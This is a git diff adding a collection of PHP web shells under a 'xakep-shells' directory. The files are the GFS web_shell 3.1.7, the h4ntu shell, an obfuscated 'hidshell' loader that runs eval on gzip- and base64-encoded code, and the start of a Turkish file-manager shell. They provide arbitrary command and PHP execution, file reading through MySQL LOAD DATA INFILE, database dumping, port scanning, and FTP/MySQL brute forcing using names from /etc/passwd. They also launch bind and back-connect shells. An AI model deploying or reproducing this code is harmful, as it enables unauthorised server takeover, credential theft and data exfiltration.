+ $connect=mysql_connect($host, $username, $pass);
+ if (!$connect){
+ $res="Could not connect to MySQL\n".mysql_error();
+ }else{
+ $r=mysql_query("SHOW TABLES FROM $bd");
+ $res="Exist tables:\n";
+ while ($row=mysql_fetch_row($r)) {
+ $res.="Table: $row[0]\n";
+ $fields=mysql_list_fields($bd, $row[0], $connect);
+ $columns=mysql_num_fields($fields);
+ $res.="| ";
+ for ($i=0; $i<$columns; $i++) {
+ $res.=mysql_field_name($fields, $i)." | ";
+ }
+ $res.="\n____________________________\n";
+ }
+ mysql_free_result($r);
+ mysql_close($connect);
+ }
+ }else
+ $res="Select data base! ";
+ return $res;
+}
+function dump_table($tab, $db,$host, $username, $pass) //Äàìï òàáëèöû
+{
+ $connect=mysql_connect($host, $username, $pass);
+ if (!$connect) {
+ $result="Could not connect to MySQL!\n".mysql_error();
+ }else{
+ if (!mysql_select_db($db,$connect)){
+ $result="Could not connect to db!\n".mysql_error();
+ }else{
+ if ($db==""){
+ $result="Select data base!";
+ }else{
+ $res1="# MySQL dump of $tab\r\n";
+ $r=mysql_query("SHOW CREATE TABLE `".$tab."`", $connect);
+ $row=mysql_fetch_row($r);
+ $res1.=$row[1]."\r\n\r\n";
+ $res1.= "# ---------------------------------\r\n\r\n";
+ $res2 = '';
+ $r=mysql_query("SELECT * FROM `".$tab."`", $connect);
+ if (mysql_num_rows($r)>0){
+ while (($row=mysql_fetch_assoc($r))){
+ $keys=implode("`, `", array_keys($row));
+ $values=array_values($row);
+ foreach($values as $k=>$v){
+ $values[$k]=addslashes($v);
+ }
+ $values=implode("', '", $values);
+ $res2.="INSERT INTO `".$tab."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $res2.="\r\n# ---------------------------------";
+ }
+ $result=$res1.$res2;
+ mysql_close($db);
+ }
+ }
+ }
+
+ return $result;
+}
+function down_tb($tab, $db,$host, $username, $pass){
+ $connect=mysql_connect($host, $username, $pass);
+ if (!$connect) {
+ die("Could not connect to MySQL!\n".mysql_error());
+ }else{
+ if (!mysql_select_db($db,$connect)){
+ die("Could not connect to db!\n".mysql_error());
+ }else{
+ if ($db==""){
+ die("Select data base!");
+ }else{
+ $res1="";
+ $r=mysql_query("SELECT * FROM `".$tab."`", $connect);
+ if (mysql_num_rows($r)>0){
+ while (($row=mysql_fetch_assoc($r))){
+ foreach($row as $k=>$v){
+ $res1.=$v."\t";
+ }
+ $res1.="\n";
+ }
+ }
+ mysql_close($db);
+ }
+ }
+ }
+
+ return $res1;
+}
+function safe_mode_fuck($fil,$host, $username, $pass, $dbname)//Îáõîä áåçîïàñíîãî ðåæèìà
+{
+ $connect=mysql_connect($host,$username,$pass);
+ if($connect){
+ if(mysql_select_db($dbname,$connect)){
+ $c="DROP TABLE IF EXISTS temp_gfs_table;";
+ mysql_query($c);
+ $c="CREATE TABLE `temp_gfs_table` ( `file` LONGBLOB NOT NULL );";
+ mysql_query($c);
+ $c="LOAD DATA INFILE \"".$fil."\" INTO TABLE temp_gfs_table;";
+ mysql_query($c);
+ $c="SELECT * FROM temp_gfs_table;";
+ $r=mysql_query($c);
+ while(($row=mysql_fetch_array($r))){
+ $res.=htmlspecialchars($row[0]);
+ }
+ $c="DROP TABLE IF EXISTS temp_gfs_table;";
+ mysql_query($c);
+ }else
+ $res= "Can't select database";
+ mysql_close($db);
+ }else
+ $res="Can't connect to mysql server";
+ return $res;
+}
+function portscan($host)
+{
+ global $port;
+ echo "";
+ echo "Host: ".$host." ";
+ for($i=1; $i<=65535; $i++){
+ $fp=fsockopen($host, $i, $errno, $errstr, 4);
+ if($fp){
+ fclose($fp);
+ if(isset($port[$i])){
+ $k=$port[$i];
+ }else
+ $k=getservbyport($i, "TCP");
+ if($k==""){$k="N\A";}
+ echo "Port: ".$i." ".$k." ";
+ echo " ";
+ }
+ }
+ echo "
";
+}
+function pwd_conwert()
+{
+ $res="";
+ if(file_exists("/etc/passwd")){
+ $input=implode(file("/etc/passwd"));
+ $input=explode("\n", $input);
+ foreach($input as $i=>$v){
+ $word=explode(":",$v);
+ $res.=$word[0]." ";
+ }
+ $res=explode(" ",$res);
+ }else{
+ $input=implode(ex("cat /etc/passwd"));
+ $input=explode("\n", $input);
+ foreach($input as $i=>$v){
+ $word=explode(":",$v);
+ $res.=$word[0]." ";
+ }
+ $res=explode(" ",$res);
+ }
+ return $res;
+}
+function brute($type,$type2,$host,$file)
+{
+ if($type2=="login:login"){
+ if($type=="ftp"){
+ echo "";
+ echo "BruteFTP: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ $conn_id=ftp_connect($host);
+ if(!$conn_id){ die("Coud not connect");}
+ if (ftp_login($conn_id, $v, $v)){
+ echo " ".$v." : ".$v." OK ";
+ }else
+ echo " ".$v." : ".$v." NO ";
+ ftp_close($conn_id);
+ }
+ }
+ echo "
";
+ }elseif($type=="mysql"){
+ echo "";
+ echo "BruteMySQL: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ $conn_id=mysql_connect($host,$v,$v);
+ if($conn_id){
+ echo " ".$v." : ".$v." OK ";
+ }else
+ echo " ".$v." : ".$v." NO ";
+ mysql_close($conn_id);
+ }
+ }
+ echo "
";
+ }
+ }elseif($type2=="login:empty"){
+ if($type=="ftp"){
+ echo "";
+ echo "BruteFTP: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ $conn_id=ftp_connect($host);
+ if(!$conn_id){ die("Coud not connect");}
+ if (ftp_login($conn_id, $v, "")){
+ echo " ".$v." : empty OK ";
+ }
+ ftp_close($conn_id);
+ }
+ }
+ echo "
";
+ }elseif($type=="mysql"){
+ echo "";
+ echo "BruteMySQL: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ $conn_id=mysql_connect($host,$v,"");
+ if($conn_id){
+ echo " ".$v." : empty OK ";
+ }
+ mysql_close($conn_id);
+ }
+ }
+ echo "
";
+ }
+ }elseif($type2=="login:number"){
+ if($type=="ftp"){
+ echo "";
+ echo "BruteFTP: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ $conn_id=ftp_connect($host);
+ if(!$conn_id){ die("Coud not connect");}
+ for($j=0; $j<=999; $j++){
+ if (ftp_login($conn_id, $v, "$j")){
+ echo " ".$v." : $j OK ";
+ }
+ ftp_close($conn_id);
+ }
+ }
+ }
+ echo "
";
+ }elseif($type=="mysql"){
+ echo "";
+ echo "BruteMySQL: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ for($j=0; $j<=999; $j++){
+ $conn_id=mysql_connect($host,$v,"$j");
+ if($conn_id){
+ echo " ".$v." : $j OK ";
+ }
+ mysql_close($conn_id);
+ }
+ }
+ }
+ echo "
";
+ }
+ }elseif($type2=="login:nigol"){
+ if($type=="ftp"){
+ echo "";
+ echo "BruteFTP: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ $conn_id=ftp_connect($host);
+ if(!$conn_id){ die("Coud not connect");}
+ if (ftp_login($conn_id, $v, strrev($v))){
+ echo " ".$v." : ".strrev($v)." OK ";
+ }else
+ echo " ".$v." : ".strrev($v)." NO ";
+ ftp_close($conn_id);
+ }
+ }
+ echo "
";
+ }elseif($type=="mysql"){
+ echo "";
+ echo "BruteMySQL: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ $conn_id=mysql_connect($host,$v,strrev($v));
+ if($conn_id){
+ echo " ".$v." : ".strrev($v)." OK ";
+ }else
+ echo " ".$v." : ".strrev($v)." NO ";
+ mysql_close($conn_id);
+ }
+ }
+ echo "
";
+ }
+ }elseif($type2=="login:lib"){
+ $input=file($file);
+ foreach($input as $i=>$v){
+ $word=explode(":",$v);
+ $res.=$word[0]." ".$word[1]." ";
+ }
+ $lib=explode(" ",$res);
+ if($type=="ftp"){
+ echo "";
+ echo "BruteFTP: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ foreach($lib as $kk=>$vv){
+ $conn_id=ftp_connect($host);
+ if(!$conn_id){ die("Coud not connect");}
+ if (ftp_login($conn_id, $v, $lib[$kk])){
+ echo " ".$v." : ".$lib[$kk]." OK ";
+ }
+ ftp_close($conn_id);
+ }
+ }
+ }
+ echo "
";
+ }elseif($type=="mysql"){
+ echo "";
+ echo "BruteMySQL: localhost ";
+ $mass=pwd_conwert();
+ foreach($mass as $i=>$v){
+ if($v!=""){
+ foreach($lib as $kk=>$vv){
+ $conn_id=mysql_connect($host,$v,$lib[$kk]);
+ if($conn_id){
+ echo " ".$v." : ".$lib[$kk]." OK ";
+ }
+ mysql_close($conn_id);
+ }
+ }
+ }
+ echo "
";
+ }
+ }elseif($type2=="lib:lib"){
+ $input=file($file);
+ foreach($input as $i=>$v){
+ $word=explode(":",$v);
+ $res.=$word[0]." ".$word[1]." ";
+ }
+ $lib=explode(" ",$res);
+ if($type=="ftp"){
+ echo "";
+ echo "BruteFTP: localhost ";
+ $count_lib=count($lib);
+ for($kk=0; $kk<$count_lib; $kk=$kk+2){
+ $conn_id=ftp_connect($host);
+ if(!$conn_id){ die("Coud not connect");}
+ if (ftp_login($conn_id,$lib[$kk],$lib[$kk+1])){
+ echo " ".$lib[$kk]." : ".$lib[$kk+1]." OK ";
+ }
+ ftp_close($conn_id);
+ }
+ echo "
";
+ }elseif($type=="mysql"){
+ echo "";
+ echo "BruteMySQL: localhost ";
+ $count_lib=count($lib);
+ for($kk=0; $kk<$count_lib; $kk=$kk+2){
+ if($lib[$kk]!=""){
+ $conn_id=mysql_connect($host,$lib[$kk],$lib[$kk+1]);
+ if($conn_id){
+ echo " ".$lib[$kk]." : ".$lib[$kk+1]." OK ";
+ }
+ mysql_close($conn_id);
+ }
+ }
+ echo "
";
+ }
+ }
+}
+
+////////////////////////////////////////////////////////////////////////////////
+///////////////////////////////// ÊÎÄ //////////////////////////////////////////
+////////////////////////////////////////////////////////////////////////////////
+echo $HTML;
+echo "";
+echo (rep_char(" ",15));
+echo "GFS web_shell ver 3.1.7 ";
+echo " ";
+sysinfo();
+echo "";
+echo " ";
+################## ACTION ######################################################
+if($r_act=="nav" OR $r_act==NULL){
+ $box=$_POST['box'];
+ if($_POST['b_save']){
+ $res=save_file($_POST['text'],$_POST['fname'],$_POST['dname']);
+ }elseif($_POST['b_new_file']){
+ open_file($_POST['new'],"wb",$_POST['dname']);
+ }elseif($_POST['b_open_file']){
+ open_file($_POST['fname'],"r",$_POST['dname']);
+ }elseif($_POST['b_mail']){
+ $res="Function under construction!!!!!!!!!";
+ }elseif($_POST['b_run']){
+ chdir($_POST['wdir']);
+ $dir=getcwd();
+ $res=ex($_POST['cmd']);
+ }elseif($_POST['b_f_file']){
+ chdir($_POST['wdir']);
+ $dir=getcwd();
+ $res=ex("whereis ".$_POST['ffile']);
+ }elseif($_POST['b_upload']){
+ $s="Uploading file ".$_POST['lfilename']." use the ".$box;
+ $res=up_file($_POST['lfilename'],$_POST['tfilename'],$_POST['box']);
+ }elseif($_POST['b_mydb']){ //Âûâîäèì ñïèñîê ÁÄ
+ $s="show_exists_db";
+ $res=db_show($_POST['host'], $_POST['username'], $_POST['pass']);
+ }elseif ($_POST['b_runsql']){ //Âûïîëíÿåì SQL çàïðîñ
+ $s="SQL: ".$sql;
+ $res=run_sql($_POST['sql'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']);
+ }elseif($_POST['b_base']){ //Âûâîäèì ñïèñîê òàáëèö
+ $s="show_exists_tables";
+ $res=show_tables($_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']);
+ }elseif($_POST['b_table']){ //Âûâîäèì äàìï òàáëèöû
+ $s="Dump of ".$_POST['tablename'];
+ $tablename=$_POST['tablename'];
+ if ($tablename!=""){
+ $res=dump_table($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']);
+ }else
+ $res="Select table!";
+ }elseif($_POST['b_safe_fuck']){ //Îáõîä áåçîïàñíîãî ðåæèìà
+ $s="Open file ".$sfilename." with MySQL:";
+ $res=safe_mode_fuck($_POST['sfilename'],$_POST['host'], $_POST['username'], $_POST['pass'], $_POST['dbname']);
+ }elseif($_POST['b_dfilename']){ //Îáõîä áåçîïàñíîãî ðåæèìà
+ $s="Dump in ".$dfilename." from ".$_POST['tablename'].":";
+ $res=run_sql("SELECT * INTO OUTFILE '".addslashes($_POST['dfilename'])."' FROM ".$_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']);
+ }
+ if ($host=="") {$host="localhost";}
+ if(isset($res)){
+ echo "";
+ echo "".$s." ";
+ echo "";
+ echo $res;
+ echo "
";
+ }
+################## EXECUTE #####################################################
+ if(!$safe_mode){
+ $dir=getcwd();
+ echo "";
+ echo " ";
+ echo " ";
+ }
+ echo " ";
+#################### UPLOAD ####################################################
+ echo "";
+ echo " ";
+ echo " ";
+ echo " ";
+##################### MySQL ####################################################
+ if(isset($_POST['host'])){
+ $host=$_POST['host'];
+ }
+ if(isset($_POST['dbname'])){
+ $dbname=$_POST['dbname'];
+ }
+ if(isset($_POST['tablename'])){
+ $tablename=$_POST['tablename'];
+ }
+ if(isset($_POST['sql'])){
+ $sql=$_POST['sql'];
+ }
+ if(isset($_POST['sfilename'])){
+ $filename=$_POST['sfilename'];
+ }
+ if(isset($_POST['dfilename'])){
+ $dfilename=$_POST['dfilename'];
+ }
+ if(isset($_POST['username'])){
+ $username=$_POST['username'];
+ }
+ if(isset($_POST['pass'])){
+ $pass=$_POST['pass'];
+ }
+ echo "";
+ echo " ";
+ echo "";
+ echo " ";
+################## NAVIGATION ##################################################
+ list_dir();
+}
+##################### PortScan #################################################
+if($r_act=="port"){
+ if($_POST['host']==""){
+ $host="localhost";
+ }else
+ $host=$_POST['host'];
+ echo " ";
+ echo " ";
+ echo " ";
+ if($_POST['b_scan']){
+ portscan($host);
+ }
+}
+##################### PortBind #################################################
+if($r_act=="bind"){
+ if($_POST['b_bind']){
+ if($_POST['box']=="C++"){
+ save_file(base64_decode($port_c),"/var/tmp/gfs.c",getcwd());
+ ex("gcc /var/tmp/gfs.c");
+ unlink("/var/tmp/gfs.c");
+ ex("/var/tmp/a.out ".$_POST['port']." &");
+ echo "";
+ echo "".$s." ";
+ echo "";
+ echo ex("ps -aux | grep a.out");
+ echo "
";
+ }
+ if($_POST['box']=="Perl"){
+ save_file(base64_decode($port_pl),"/var/tmp/gfs.pl",getcwd());
+ ex("perl /var/tmp/gfs.pl ".$_POST['port']." &");
+ echo "";
+ echo "".$s." ";
+ echo "";
+ echo ex("ps -aux | grep gfs.pl");
+ echo "
";
+ }
+ }
+ if($_POST['b_connect']){
+ if($_POST['box']=="C++"){
+ save_file(base64_decode($back_connect_c),"/var/tmp/gfs.c",getcwd());
+ ex("gcc -o /var/tmp/gfs.c /var/tmp/gfs");
+ unlink("/var/tmp/gfs.c");
+ ex("/var/tmp/gfs ".$_POST['ip']." ".$_POST['port']." &");
+ echo "";
+ echo "".$s." ";
+ echo "";
+ echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...";
+ echo "
";
+ }
+ if($_POST['box']=="Perl"){
+ save_file(base64_decode($back_connect_pl),"/var/tmp/gfs.pl",getcwd());
+ ex("perl /var/tmp/gfs.pl ".$_POST['ip']." ".$_POST['port']." &");
+ echo "";
+ echo "".$s." ";
+ echo "";
+ echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...";
+ echo "
";
+ }
+ }
+ if($_POST['b_proxy']){
+ save_file(stripslashes(base64_decode($prx1).$_POST['port'].base64_decode($prx2)),"/var/tmp/gfs.pl",getcwd());
+ ex("perl /var/tmp/gfs.pl");
+ echo "";
+ echo "Proxy ";
+ echo "";
+ echo ex("ps -aux | grep gfs.pl");
+ echo "
";
+ }
+ echo "";
+ echo " ";
+ echo " ";
+ echo "";
+ echo " ";
+ echo " ";
+ echo "";
+ echo " ";
+ echo " ";
+}
+##################### Brute ####################################################
+if($r_act=="brute"){
+ if(isset($_POST['brute_host'])){
+ $host=$_POST['brute_host'];
+ }else
+ $host="localhost";
+ if(isset($_POST['lib'])){
+ $lib=$_POST['lib'];
+ }else
+ $lib=" [library]";
+ echo "";
+ echo " ";
+ echo " ");
+ if($_POST['b_brute']){
+ brute($_POST['box'],$_POST['box1'],$_POST['brute_host'],$_POST['lib']);
+ }
+}
+#################### Eval ######################################################
+if($r_act=="eval"){
+ if($_POST['b_eval']){
+ $eval=str_replace("","",$_POST['php_eval']);
+ $eval=str_replace("?>","",$eval);
+ eval($eval);
+ }
+ echo "";
+ echo " ";
+ echo " ";
+}
+
+echo " ";
+echo "";
+echo (rep_char(" ",15));
+echo "(c) GFS ";
+echo (rep_char(" ",15));
+echo "www.gfs-team.ru ";
+echo " ";
+?>
diff --git a/xakep-shells/PHP/h4ntu shell [powered by tsoi].txt b/xakep-shells/PHP/h4ntu shell [powered by tsoi].txt
new file mode 100644
index 0000000..eb61f3d
--- /dev/null
+++ b/xakep-shells/PHP/h4ntu shell [powered by tsoi].txt
@@ -0,0 +1,78 @@
+h4ntu shell [powered by tsoi]
+This Is The Server Information ";
+?>
+
+
+
+
+
+
+
+ = $info ?>: = $value ?>
+
+
+
+
+ User Info: uid== $login ?>(= $whoami?>) euid== $euid ?>(= $whoami?>) gid== $gid ?>(= $whoami?>)
+
+
+ Current Path: = $chdir ?>
+
+
+
+ Permission Directory: if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?>
+
+
+ Server Services: = "$SERVER_SOFTWARE $SERVER_VERSION"; ?>
+
+
+
+ Server Adress: = "$SERVER_ADDR $SERVER_NAME"; ?>
+
+
+ Script Current User: = $user ?>
+
+
+
+ PHP Version: = $ver ?>
+
+
+
+
+# php injection:
+">
+cmd :
+
+
+
+
+
+
+
+
+
+$cmd = $_POST['cmd'];
+ if (isset($chdir)) @chdir($chdir);
+ ob_start();
+ system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
+ $output = ob_get_contents();
+ ob_end_clean();
+ if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
+exit;
+?>
+
diff --git a/xakep-shells/PHP/hidshell.php.php.txt b/xakep-shells/PHP/hidshell.php.php.txt
new file mode 100644
index 0000000..3e43158
--- /dev/null
+++ b/xakep-shells/PHP/hidshell.php.php.txt
@@ -0,0 +1 @@
+$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36UnrElJWDABDyMnZiNjeg3htpIPa2RQw/i121eae0CXFV1UHPIRU978Xj8fb76OiylGGXVmHgLY2mb7gIck2dlzmcW66bX0IkMZ8rvNDK6pOgSp8JXHe5QaHoAxK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OMUPLBme77z3TED+dBu31NXqykxkh57CKkhFzVRy6Zqzg/yyPasbdFZCphlL47D5v5kzDtsouQ==';eval(gzuncompress(base64_decode('eNpdUGFrwjAQ/SslZLRFpHPMfdCkFfYDJsxvY5PYnGshTbIm1bnS/76LVZj7csl7vHvv7qhVfOV8q0An1ArneO0c+IRu1y+vm7c4UPF7WjRy/p9bJLfSSrgqSG/xInTGcZqmS/onSvKdcPD0uJVQGglIoGBv2oRqfr+kmlGFdTJJeyp7qgdeVm1iWpmMMP04/8MkCO+oVQP2D/U+OK8+fzpdmsa24NzZuYeDUAkpcipZQVAIykFf5KzyjcIKQuasAS+iyns7ha+uPnDybLQH7aebkwUSlSPixMO3z0LjMior0eIJ+LHW0hzddPYwn5Gc+doryNc43BHHZNmIWTbm7Iw85axEL2hzhjs3EUZXRnISDof9tbadjzzGcmIvLiTSorlgEmW3Itftmtqf6SwY4nP1z8a4bNy0GH4BG4Kl3A==')));?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/iMHaPFtp.php.php.txt b/xakep-shells/PHP/iMHaPFtp.php.php.txt
new file mode 100644
index 0000000..2c003b7
--- /dev/null
+++ b/xakep-shells/PHP/iMHaPFtp.php.php.txt
@@ -0,0 +1,2061 @@
+
+ *
+ * Bu Kod Tamamiyle Özgür Yazilimdir.
+ * Kötü Amaclar ile kullanilmamak sartiyla istenildigi gibi Kullanilabilir
+ * Programin amaci ftp olmadan hostunuza baglanti kurup
+ * Dosya ekleyip kaldira bilmektir.
+ * Kodumuz 6 Dilde yazilmistir.Server Diline Göre Otomatik Secim Yapar.
+ * -------------------------------------------------------------------------
+ * Kodu hosta attiktan sonra adres cubuguna kodun uzantisini verip baglanin
+ * Ve Asla kimseye bu kodun uzantisini vermeyiniz.!!
+ * -------------------------------------------------------------------------
+ *
+ * iMHaBiRLiGi PhpFtp V1.1
+ * =========================================================================
+ *
+ * BeweiS
+ *
+ * iMHaBiRLiGi Administrator
+ * Php-Asp-Programlama ve Güvenlik
+ *
+ * MicroP_
+ *
+ * iMHaBiRLiGi Administrator
+ * Php-Asp-Programlama ve Güvenlik
+ *
+ * Libertical
+ *
+ * iMHaBiRLiGi Yönetim
+ * C++, Delphi,Programlama ve Linux Hastasi
+ *
+ * PowerGhost
+ *
+ * iMHaBiRLiGi Sistem Danismani
+ * Sistem Danismani
+ *
+ * BadSector
+ * ozgurkaleli@yahoo.com
+ * iMHaBiRLiGi Yönetim
+ * VicualBasic-Delphi Programlama
+ * Sistemdanismani ve Linux Hastasi
+ *
+ * Bu kodun yaziliminda ismi gecen her arkadasimizin
+ * Katkilari bulunmustur.
+ * Herbiri ilgi alaninda Basarili olduklari konularda kodumuzu gelistirmemize
+ * Katkida bulunmuslardir.
+ * NOT: Kod Hakkinda takildiniz konulari iMHaBiRLiGi Forumlarina Sora bilirsiniz
+ * http://www.imhabirligi.com
+ *
+/* ------------------------------------------------------------------------- */
+
+/* Diller :
+ * 'en' - English
+ * 'de' - German
+ * 'fr' - French
+ * 'it' - Italian
+ * 'se' - Swedish
+ * 'auto' - autoselect
+ */
+$lang = 'auto';
+
+/* Charset of your filenames:
+ */
+$charset = 'ISO-8859-1';
+
+/* Homedir:
+ * For example: './' - the script's directory
+ */
+$homedir = './';
+
+/* Size of the Düzenle textarea
+ */
+$Düzenlecols = 80;
+$Düzenlerows = 25;
+
+/* -------------------------------------------
+ * Optional configuration (reTasi # to enable)
+ */
+
+/* Permission of created directories:
+ * For example: 0705 would be 'drwx---r-x'.
+ */
+# $dirpermission = 0705;
+
+/* Permission of created files:
+ * For example: 0604 would be '-rw----r--'.
+ */
+# $filepermission = 0604;
+
+/* Filenames related to the apache web server:
+ */
+$htaccess = '.htaccess';
+$htpasswd = '.htpasswd';
+
+/* ------------------------------------------------------------------------- */
+
+if (get_magic_quotes_gpc()) {
+ array_walk($_GET, 'strip');
+ array_walk($_POST, 'strip');
+ array_walk($_REQUEST, 'strip');
+}
+
+if (array_key_exists('image', $_GET)) {
+ header('Content-Type: image/gif');
+ die(getimage($_GET['image']));
+}
+
+$delim = DIRECTORY_SEPARATOR;
+
+if (function_exists('php_uname')) {
+ $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
+} else {
+ $win = ($delim == '\\') ? true : false;
+}
+
+if (!empty($_SERVER['PATH_TRANSLATED'])) {
+ $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
+} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
+ $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
+} elseif (function_exists('getcwd')) {
+ $scriptdir = getcwd();
+} else {
+ $scriptdir = '.';
+}
+$homedir = relative2absolute($homedir, $scriptdir);
+
+$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
+
+if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
+ $dir = relative2absolute($dir, $_POST['olddir']);
+}
+
+$directory = simplify_path(addslash($dir));
+
+$files = array();
+$action = '';
+if (!empty($_POST['submit_all'])) {
+ $action = $_POST['action_all'];
+ for ($i = 0; $i < $_POST['num']; $i++) {
+ if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
+ $files[] = $_POST["file$i"];
+ }
+ }
+} elseif (!empty($_REQUEST['action'])) {
+ $action = $_REQUEST['action'];
+ $files[] = relative2absolute($_REQUEST['file'], $directory);
+} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
+ $files[] = $_FILES['upload'];
+ $action = 'upload';
+} elseif (array_key_exists('num', $_POST)) {
+ for ($i = 0; $i < $_POST['num']; $i++) {
+ if (array_key_exists("submit$i", $_POST)) break;
+ }
+ if ($i < $_POST['num']) {
+ $action = $_POST["action$i"];
+ $files[] = $_POST["file$i"];
+ }
+}
+if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
+ $files[] = relative2absolute($_POST['create_name'], $directory);
+ switch ($_POST['create_type']) {
+ case 'directory':
+ $action = 'create_directory';
+ break;
+ case 'file':
+ $action = 'create_file';
+ }
+}
+if (sizeof($files) == 0) $action = ''; else $file = reset($files);
+
+if ($lang == 'auto') {
+ if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
+ $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
+ } else {
+ $lang = 'en';
+ }
+}
+
+$words = getwords($lang);
+
+$cols = ($win) ? 4 : 7;
+
+if (!isset($dirpermission)) {
+ $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
+}
+if (!isset($filepermission)) {
+ $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
+}
+
+if (!empty($_SERVER['SCRIPT_NAME'])) {
+ $self = html(basename($_SERVER['SCRIPT_NAME']));
+} elseif (!empty($_SERVER['PHP_SELF'])) {
+ $self = html(basename($_SERVER['PHP_SELF']));
+} else {
+ $self = '';
+}
+
+if (!empty($_SERVER['SERVER_SOFTWARE'])) {
+ if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
+ $apache = true;
+ } else {
+ $apache = false;
+ }
+} else {
+ $apache = true;
+}
+
+switch ($action) {
+
+case 'view':
+
+ if (is_script($file)) {
+
+ /* highlight_file is a mess! */
+ ob_start();
+ highlight_file($file);
+ $src = ereg_replace('', '', ob_get_contents());
+ $src = str_replace(array(' ', "\r", "\n"), array('', '', ''), $src);
+ ob_end_clean();
+
+ html_header();
+ echo '' . html($file) . '
+
+
+
+
+
+
+';
+
+ for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
+
+ echo '
+
+
+' . $src . '
+
+
+
+
+';
+
+ html_footer();
+
+ } else {
+
+ header('Content-Type: ' . getmimetype($file));
+ header('Content-Disposition: filename=' . basename($file));
+
+ readfile($file);
+
+ }
+
+ break;
+
+case 'indir':
+
+ header('Pragma: public');
+ header('Expires: 0');
+ header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
+ header('Content-Type: ' . getmimetype($file));
+ header('Content-Disposition: attachment; filename=' . basename($file) . ';');
+ header('Content-Length: ' . filesize($file));
+
+ readfile($file);
+
+ break;
+
+case 'upload':
+
+ $dest = relative2absolute($file['name'], $directory);
+
+ if (@file_exists($dest)) {
+ listing_page(error('already_exists', $dest));
+ } elseif (@Tasi_uploaded_file($file['tmp_name'], $dest)) {
+ listing_page(notice('uploaded', $file['name']));
+ } else {
+ listing_page(error('not_uploaded', $file['name']));
+ }
+
+ break;
+
+case 'create_directory':
+
+ if (@file_exists($file)) {
+ listing_page(error('already_exists', $file));
+ } else {
+ $old = @umask(0777 & ~$dirpermission);
+ if (@mkdir($file, $dirpermission)) {
+ listing_page(notice('created', $file));
+ } else {
+ listing_page(error('not_created', $file));
+ }
+ @umask($old);
+ }
+
+ break;
+
+case 'create_file':
+
+ if (@file_exists($file)) {
+ listing_page(error('already_exists', $file));
+ } else {
+ $old = @umask(0777 & ~$filepermission);
+ if (@touch($file)) {
+ Düzenle($file);
+ } else {
+ listing_page(error('not_created', $file));
+ }
+ @umask($old);
+ }
+
+ break;
+
+case 'execute':
+
+ chdir(dirname($file));
+
+ $output = array();
+ $retval = 0;
+ exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
+
+ $error = ($retval == 0) ? false : true;
+
+ if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
+
+ if ($error) {
+ listing_page(error('not_executed', $file, implode("\n", $output)));
+ } else {
+ listing_page(notice('executed', $file, implode("\n", $output)));
+ }
+
+ break;
+
+case 'Sil':
+
+ if (!empty($_POST['no'])) {
+ listing_page();
+ } elseif (!empty($_POST['yes'])) {
+
+ $failure = array();
+ $success = array();
+
+ foreach ($files as $file) {
+ if (del($file)) {
+ $success[] = $file;
+ } else {
+ $failure[] = $file;
+ }
+ }
+
+ $message = '';
+ if (sizeof($failure) > 0) {
+ $message = error('not_Sild', implode("\n", $failure));
+ }
+ if (sizeof($success) > 0) {
+ $message .= notice('Sild', implode("\n", $success));
+ }
+
+ listing_page($message);
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
+
+';
+
+ html_footer();
+
+ }
+
+ break;
+
+case 'Degistir':
+
+ if (!empty($_POST['Yol'])) {
+
+ $dest = relative2absolute($_POST['Yol'], $directory);
+
+ if (!@file_exists($dest) && @Degistir($file, $dest)) {
+ listing_page(notice('Degistird', $file, $dest));
+ } else {
+ listing_page(error('not_Degistird', $file, $dest));
+ }
+
+ } else {
+
+ html_header();
+
+ echo '
+
+
